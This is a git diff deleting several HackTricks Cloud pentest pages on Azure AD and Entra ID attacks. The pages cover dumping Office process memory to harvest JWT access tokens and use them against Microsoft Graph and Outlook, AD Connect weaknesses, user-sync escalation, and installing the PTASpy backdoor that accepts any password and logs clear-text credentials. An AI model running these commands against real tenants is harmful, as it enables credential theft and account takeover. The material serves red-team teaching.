-{% endhint %}
-
-**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
deleted file mode 100644
index 1520fc868..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# Az - Primary Refresh Token (PRT)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
deleted file mode 100644
index 3512fd876..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# Az - Processes Memory Access Token
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## **Basic Information**
-
-As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
-
-Steps:
-
-1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
-2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
-3. Find the tokens that interest you the most and run tools over them:
-
-{% code overflow="wrap" %}
-```bash
-# Check the identity of the token
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq   
- 
-# Check the email (you need a token authorized in login.microsoftonline.com)
-curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq   
-
-# Download a file from Teams
-## You need a token that can access graph.microsoft.com
-## Then, find the <site_id> inside the memory and call
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq     
- 
-## Then, list one drive
-curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq 
- 
-## Finally, download a file from that drive:
-┌──(magichk㉿black-pearl)-[~] 
-└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
-```
-{% endcode %}
-
-**Note that these kind of access tokens can be also found inside other processes.**
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
deleted file mode 100644
index 109104b7e..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# Az AD Connect - Hybrid Identity
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments:
-
-* **Pass-Through Authentication (PTA)**:
-  * Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud).
-  * Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem).
-
-{% content-ref url="pta-pass-through-authentication.md" %}
-[pta-pass-through-authentication.md](pta-pass-through-authentication.md)
-{% endcontent-ref %}
-
-* **Password Hash Sync (PHS)**:
-  * Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user.
-
-{% content-ref url="phs-password-hash-sync.md" %}
-[phs-password-hash-sync.md](phs-password-hash-sync.md)
-{% endcontent-ref %}
-
-* **Federation**:
-  * Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities.
-
-{% content-ref url="federation.md" %}
-[federation.md](federation.md)
-{% endcontent-ref %}
-
-* **Seamless SSO:**
-  * Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user.
-
-{% content-ref url="seamless-sso.md" %}
-[seamless-sso.md](seamless-sso.md)
-{% endcontent-ref %}
-
-* **Cloud Kerberos Trust**:
-  * Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD.
-
-{% content-ref url="az-cloud-kerberos-trust.md" %}
-[az-cloud-kerberos-trust.md](az-cloud-kerberos-trust.md)
-{% endcontent-ref %}
-
-* **Default Applications**:
-  * Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files.
-
-{% content-ref url="az-default-applications.md" %}
-[az-default-applications.md](az-default-applications.md)
-{% endcontent-ref %}
-
-For each integration method, user synchronization is conducted, and an `MSOL_<installationidentifier>` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain.
-
-To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
-
-```powershell
-Get-ADSyncConnector
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
deleted file mode 100644
index 357b0f863..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# Az - Default Applications
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
-
-The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
deleted file mode 100644
index d2c2f4287..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
+++ /dev/null
@@ -1,61 +0,0 @@
-# Az- Synchronising New Users
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
-
-I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements:
-
-* The **AzureAD user** needs to have a proxy address (a **mailbox**)
-* License is not required
-* Should **not be already synced**
-
-{% code overflow="wrap" %}
-```powershell
-Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
-```
-{% endcode %}
-
-When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email.
-
-An automatically, this user will be **synced from AzureAD to the on-prem AD user**.
-
-{% hint style="danger" %}
-Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**.
-
-Also, this **won't bypass MFA**.
-
-Moreover, this was reported an **account sync is no longer possible for admin accounts**.
-{% endhint %}
-
-## References
-
-* [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
deleted file mode 100644
index d84673358..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# Az - PTA - Pass-through Authentication
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
-
-In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS.
-
-The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
-
-### Authentication flow
-
-<figure><img src="../../../../.gitbook/assets/image (92).png" alt=""><figcaption></figcaption></figure>
-
-1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password**
-2. The **credentials** are **encrypted** and set in a **queue** in Azure AD
-3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.**
-4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user.
-
-{% hint style="warning" %}
-If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
-He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
-{% endhint %}
-
-### On-Prem -> cloud
-
-If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
-
-```powershell
-Install-AADIntPTASpy
-```
-
-{% hint style="info" %}
-If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
-{% endhint %}
-
-It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
-
-```powershell
-Get-AADIntPTASpyLog -DecodePasswords
-```
-
-This backdoor will:
-
-* Create a hidden folder `C:\PTASpy`
-* Copy a `PTASpy.dll` to `C:\PTASpy`
-* Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process
-
-{% hint style="info" %}
-When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
-{% endhint %}
-
-### Cloud -> On-Prem
-
-{% hint style="danger" %}
-After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
-{% endhint %}
-
-### Seamless SSO
-
-It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in:
-
-{% content-ref url="seamless-sso.md" %}
-[seamless-sso.md](seamless-sso.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
-* [https://aadinternals.com/post/on-prem\_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
deleted file mode 100644
index d8149527a..000000000
--- a/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# Az - Permissions for a Pentest
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
deleted file mode 100644
index e7c185893..000000000
--- a/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
